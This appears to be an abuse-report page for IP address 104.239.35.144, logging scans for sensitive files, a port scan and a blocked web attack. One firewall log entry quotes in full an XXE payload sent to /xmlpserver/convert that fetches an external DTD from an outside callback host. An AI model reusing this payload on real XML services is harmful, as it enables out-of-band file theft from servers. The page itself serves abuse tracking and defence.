Log in to view charts and search reports for this IP.
Log In
No reports in the last 60 days
104.239.35.144 has been reported 15
times. The most recent report is from
.
The full history is preserved below and remains searchable. A
0% score reflects the absence of recent activity, but
this is not a guarantee that earlier reports were invalid. Abuse confidence score decays,
naturally, over time, when the abusive activity stops.
IP Abuse Reports for 104.239.35.144:
This IP address has been reported a total of
15
times from
9 distinct
sources.
104.239.35.144 was first reported on
, and the most recent report was
.
Auto-ban: single probe for restricted files (.env / backups / admin endpoints). Likely mass-scan on ...
show moreAuto-ban: single probe for restricted files (.env / backups / admin endpoints). Likely mass-scan on 2026-05-26.
show less
(mod_security) mod_security (id:212860) triggered by 104.239.35.144 (-): 1 in the last 300 secs; Por ...
show more(mod_security) mod_security (id:212860) triggered by 104.239.35.144 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Jan 26 21:36:11.899178 2026] [security2:error] [pid 1535:tid 1978] [client 104.239.35.144:45717] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<\\\\!(doctype|entity)" at ARGS:xml. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/07_XSS_XSS.conf"] [line "92"] [id "212860"] [rev "4"] [msg "COMODO WAF: XSS Attack Detected||ftp.kettlehill.com|F|2"] [data "Matched Data: <!doctype found within ARGS:xml: <?xml version=\\x221.0\\x22 ?><!doctype r [<!element r any ><!entity % sp system \\x22http://d5s28g1q9s7s7dalarq0od9ydwucyhp5y.rsfi.info/xxe.xml\\x22>%sp;%param1;]>"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "ftp.kettlehill.com"] [uri "/xmlpserver/convert"] [unique_id "aXgkm7ZfoZ-BogEqpvEaogAAAQQ"]
show less
Attack attempt against Interwebbi servers; *Port Scan* detected from 104.239.35.144 (CA/Canada/-). 5 ...
show moreAttack attempt against Interwebbi servers; *Port Scan* detected from 104.239.35.144 (CA/Canada/-). 5 hits in the last 515 seconds; IP: 104.239.35.144; Ports: *; Direction: 0; Trigger: PS_LIMIT;
show less